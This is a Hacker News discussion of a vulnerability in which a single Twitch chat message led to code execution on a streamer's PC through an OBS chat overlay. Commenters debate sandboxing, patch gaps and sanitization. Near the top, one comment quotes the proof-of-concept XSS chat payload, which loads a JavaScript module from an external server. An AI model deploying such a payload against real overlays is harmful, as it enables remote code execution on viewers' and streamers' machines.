Thread

How one Twitch chat message became code execution on a streamer’s PC

65 points · 30 comments · tau255

Loading the complete thread in the background. This saved snapshot is available now. Refresh

dang · 1790465937 · focus · HN ↗
Url changed from <a href="https://cyberinsider.com/malicious-twitch-chat-messages-can-trigger-code-execution-on-obs-studio/" rel="nofollow">https://cyberinsider.com/malicious-twitch-chat-messages-can-..., which points to this.
verteu · 1790466379 · focus · HN ↗
tldr: XSS on OBS via the message
```
  !image http:&#x2F;&#x2F;toto.jpg&#x2F;x&#x27;onerror=import(&#x27;https:&#x2F;&#x2F;ha10.scrt.ch:8080&#x2F;poc-module.js&#x27;);a=&#x27;a
```
1. Macha · 1790467927 · focus · HN ↗
  The interesting part IMO is less the XSS on the streamer's overlay, but the fact that it could escape the browser source web page into local code execution (via a combination of OBS disabling the chromium sandbox, and using an outdated CEF version)
  1. Toprogos · 1790478891 · focus · HN ↗
    [dead]
Scryptonite · 1790468132 · focus · HN ↗
[delayed]
superkuh · 1790470684 · focus · HN ↗
This shouldn't be a problem right? Javascript is by default allowed to execute on your PC in every modern browser. The days where people did not blindly execute arbitrary code from unknown and random sources are far in the past. Now if you don't do that you are considered weird and no websites actually display anything when you attempt to view them.
This is not a bug. This is the the entire design architecture's intent for modern JS application execution based "web". If this was the correct choice for the web then this should not be a problem at all. But we all know it is. The architecture choice forces this. Until we stop arbitrarily executing random third party code this will always happen. And the consequences will get worse and worse as more bare metal features are exposed in to browsers JS virtual machines.
Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.
1. UqWBcuFx6NV4r · 1790471115 · focus · HN ↗
  In a word, no.
  If you’re all “ra ra ra JavaScript!” you’re going to be shocked to find out what evil one can accomplish (either now or at various points in the past due to since-patched browser exploits or web platform security oversights) with just HTTP, HTML and CSS.
  Not only is your pipe dream a pipe dream, and a misinformed one at that, it won’t even come close to completely protecting you. If you want safety, stop letting untrusted payloads enter your machine at all, and that includes Hacker News.
  1. userbinator · 1790471226 · focus · HN ↗
    Look at how many browser exploits need JS, and how many don't. The latter tend to be far more memorable too, specifically for that reason.
    JS is a huge attack surface. It's better if it isn't used where it isn't actually needed.
  2. doodlesdev · 1790471261 · focus · HN ↗
    [delayed]
2. doodlesdev · 1790471183 · focus · HN ↗
  [delayed]
  1. hulitu · 1790496273 · focus · HN ↗
    ... and trying hard to parse any stream of bits thrown at it. That's why iMessage and Whatsapp zero click ecploits work so well.
3. winstonwinston · 1790478182 · focus · HN ↗
  > Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.
  But they can. Native app is one bug away from arbitrary code execution. When remote content triggers this bug, it becomes RCE. In this case it was javascript engine bug, in any other it could be your photo viewer or whatever native code you are running with untrusted content.
4. pie_flavor · 1790481037 · focus · HN ↗
  OBS explicitly disabled the security feature that would have prevented this attack in a real browser.
  1. landr0id · 1790483064 · focus · HN ↗
    While problematic, this is pointing the finger at the wrong thing. The version of the browser was from 2024. The permutations of full chain exploits permitting sandbox escape since then is probably pretty high.
    It's a patch gap, plain and simple. Removing the sandbox certainly did not help things.
5. II2II · 1790484063 · focus · HN ↗
  > Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.
  I'm not terribly familiar with this sort of software, but isn't the reason for embedding Chromium to have access to JavaScript. Sure, it was intended for the person running the OBS instance. Yet offering the end user that much power also opens up the possibility of them shooting themselves in the foot.
doodlesdev · 1790470755 · focus · HN ↗
Fucking absurd. I'll forever hate developers who allow for such _bizarre_ exploit chains to happen. OBS is an OSS project which I believe has received a lot of love throught the years, but having the Chromium sandbox disabled due to authentication with _certain services_ not working with it enabled is asinine. Don't even want to imagine the other problems the project might have waiting to be exploited.
Sure, if the plugin developer sanitized the comments before inserting them, this wouldn't have happened _this way_, but having a browser engine two years outdated (for a reason which IMO is absolutely reasonable compared to other situations before) and having the Chromium sandbox completely disabled with nothing to substitute it is crazy in a software onto which people insert random plugins from the internet to get random functionality.
Hopefully those two changes ship fast to OBS. I may be supporting the project financially in the future if they update their security posture, as I'm generally very fond of OBS.
charcircuit · 1790472348 · focus · HN ↗
<a href="https://github.com/obsproject/obs-browser/pull/523" rel="nofollow">https://github.com/obsproject/obs-browser/pull/523
Not even counting the time it took to make this PR, releasing a security update for the browser took 4 months to merge. For reference Brave has a 1 day SLA for releasing the update itself after a security fix gets published.
1. landr0id · 1790483383 · focus · HN ↗
  It's not just moving a code pointer. They had to migrate CEF runtimes (Alloy to Chrome) which, as I understand from the few minutes of reading I did to understand the complexities outlined in the PR, was necessary because Alloy was removed in M128. So OBS was using the last version of legacy runtime and needed to migrate. I imagine they wanted to do a decent amount of testing to ensure compat.
  1. charcircuit · 1790490269 · focus · HN ↗
    >It's not just moving a code pointer.
    That's not the end user's problem. End user's don't want to be told that they got hacked because keeping your product secure was too hard.
Ozzie-D · 1790474391 · focus · HN ↗
[dead]
hahn-kev · 1790479117 · focus · HN ↗
It seems wild to me that Twitch doesn't sanitize the messages on their backend. I'm sure that they sanitize them on their own UI. But considering how many people also consume messages via their API, they should also sanitize for them, defense in depth and all.
1. Rohansi · 1790479587 · focus · HN ↗
  How can you sanitize it in the backend? Do you just not allow sending messages with HTML tags in them?
  1. hahn-kev · 1790480586 · focus · HN ↗
    That, or no script tags, but that is quite hard as I understand.
  2. btilly · 1790480646 · focus · HN ↗
    No. You have rules for explicitly allowed HTML, and escape anything that could be a tag that does not follow the rules.
    This allows people to paste in rich context, but not things like <script> tags.
    Rohansi · 1790558128 · focus · HN ↗
    Pretty sure I saw someone shared that it was actually an <img> tag with onload set. Basically the same thing but just shows how unreasonable it is to expect Twitch to filter it for everyone. Also don't forget that people do livestream programming where there is a chance chat would include shared code snippets.
2. calmingsolitude · 1790482135 · focus · HN ↗
  This makes absolutely no sense. The API returns the exact content of the message, and has no idea where it possibly might be displayed. It could be another browser, so html tags will need to be sanitized, but it might as well be the terminal, so ansi escape codes will need to be sanitized instead.
  1. rubendev · 1790491274 · focus · HN ↗
    Yes, you need to apply output encoding or sanitization at the place where it is being combined with another string. Otherwise you don’t know the encoding which is needed. Even for HTML you cannot do it on the backend, because you don’t know if it will be injected into HTML PCDATA context (tags) or in HTML attribute context.
3. Ohentis · 1790482319 · focus · HN ↗
  I feel like trying to predict every way someone could fuck up a chat display is a fool's errand.
simoncion · 1790480769 · focus · HN ↗
...and people keep telling me that using a sprawling system that -by design- ingests attacker-supplied executable code and executes it is a much more sane way to build GUIs than to use a system that -well- isn't and doesn't... [0]
[0] If you're thinking about retorting with something like "Noone will download native programs, that's why 'everything' is in a web browser!", remember that this is code execution triggered in OBS Studio. [1]
[1] <<a href="https://obsproject.com" rel="nofollow">https://obsproject.com>
soulofmischief · 1790495081 · focus · HN ↗
[delayed]
WesSouza · 1790506130 · focus · HN ↗
“a Twitch chat overlay that rendered viewer messages as raw HTML”
Well damn.
tolien · 1790510503 · focus · HN ↗
Another echo of XKCD 2347 [0], except this time it's pretty much the entire live streaming ecosystem depending on a bunch of volunteers.
0: <a href="https://xkcd.com/2347/" rel="nofollow">https://xkcd.com/2347/

Open on Hacker News to reply ↗

Unofficial Hacker News client; not affiliated with Y Combinator.